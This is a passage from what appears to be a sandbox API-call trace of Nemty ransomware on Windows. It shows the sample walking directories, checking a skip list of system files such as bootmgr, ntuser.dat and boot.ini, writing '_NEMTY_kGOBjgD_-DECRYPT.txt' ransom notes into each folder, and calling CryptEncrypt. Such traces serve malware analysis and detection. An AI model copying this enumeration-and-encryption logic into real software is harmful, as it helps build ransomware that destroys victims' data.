lpString2="AUTOEXEC.BAT") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0142.941] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0142.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0142.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0142.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0142.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0142.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0142.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0142.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340178 [0142.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0142.942] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0142.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0142.944] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.944] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0142.945] CloseHandle (hObject=0x1ec) returned 1 [0142.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0142.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0142.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0142.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0142.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0142.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0142.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340288 [0142.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0142.946] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0142.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0142.947] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.947] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0142.947] CloseHandle (hObject=0x1ec) returned 1 [0142.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0142.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0142.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0142.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0142.948] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0142.948] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0142.948] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0142.948] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0142.948] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0142.948] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0142.948] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0142.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0142.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0142.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0142.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0142.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0142.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0142.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0142.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0142.949] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0142.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0142.949] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.949] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0142.950] CloseHandle (hObject=0x254) returned 1 [0142.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0142.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0142.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0142.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0142.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0142.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0142.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0142.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0142.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0142.951] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0142.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0142.952] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.952] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0142.952] CloseHandle (hObject=0x254) returned 1 [0142.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0142.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0142.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0142.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0142.953] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0142.953] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.953] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0142.953] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0142.953] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2=".") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="..") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="...") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="windows") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="$RECYCLE.BIN") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="rsa") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="NTDETECT.COM") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="ntldr") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="MSDOS.SYS") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="IO.SYS") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="boot.ini") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="boot.ini") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="AUTOEXEC.BAT") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="ntuser.dat") returned -1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="desktop.ini") returned 1 [0142.953] lstrcmpiW (lpString1="flyout.css", lpString2="CONFIG.SYS") returned 1 [0142.954] lstrcmpiW (lpString1="flyout.css", lpString2="RECYCLER") returned -1 [0142.954] lstrcmpiW (lpString1="flyout.css", lpString2="BOOTSECT.BAK") returned 1 [0142.954] lstrcmpiW (lpString1="flyout.css", lpString2="bootmgr") returned 1 [0142.954] lstrcmpiW (lpString1="flyout.css", lpString2="programdata") returned -1 [0142.954] lstrcmpiW (lpString1="flyout.css", lpString2="appdata") returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0142.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0142.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0142.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0142.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0142.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0142.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0142.954] Sleep (dwMilliseconds=0x5) [0142.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x8dafd30, dwHighDateTime=0x1d561e8)) [0142.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x8dafd30, dwHighDateTime=0x1d561e8)) [0142.956] GetLastError () returned 0xb7 [0142.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.956] GetLastError () returned 0xb7 [0142.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.956] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0142.956] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0142.957] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0142.957] RtlAllocateHeap 